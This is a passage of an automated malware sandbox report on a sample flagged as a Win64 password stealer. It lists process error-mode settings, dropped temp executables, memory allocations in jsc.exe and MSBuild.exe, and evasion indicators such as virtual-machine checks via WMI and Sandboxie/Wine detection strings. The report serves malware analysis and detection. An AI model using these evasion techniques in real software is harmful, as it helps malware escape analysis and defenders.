Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spczxf.exe PID: 2908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ohvrxt.exe PID: 1384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hgzxhw.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: utntwb.exe PID: 5788, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9B268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9AD6A000.00000004.00000800.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1736044836.000001A4B2722000.00000004.00000800.00020000.00000000.sdmp, ohvrxt.exe, 00000014.00000002.2223610242.000001B044693000.00000004.00000800.00020000.00000000.sdmp, hgzxhw.exe, 00000015.00000002.2341667196.00000292640E2000.00000004.00000800.00020000.00000000.sdmp, utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9B268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9AD6A000.00000004.00000800.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1736044836.000001A4B2722000.00000004.00000800.00020000.00000000.sdmp, ohvrxt.exe, 00000014.00000002.2223610242.000001B044693000.00000004.00000800.00020000.00000000.sdmp, hgzxhw.exe, 00000015.00000002.2341667196.00000292640E2000.00000004.00000800.00020000.00000000.sdmp, utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory allocated: 16E992A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory allocated: 16EB2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 1620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 3040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2E20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 7F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 7540000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 9F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: BF60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: C350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 7F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 9F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 7F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: E350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 11350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 11B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 14B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 16B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory allocated: 1A4B0B30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory allocated: 1A4CA6C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory allocated: 1B042790000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory allocated: 1B05C1D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory allocated: 292623F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory allocated: 2927BDB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: E10000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2920000 memory reserve \| memory write watch
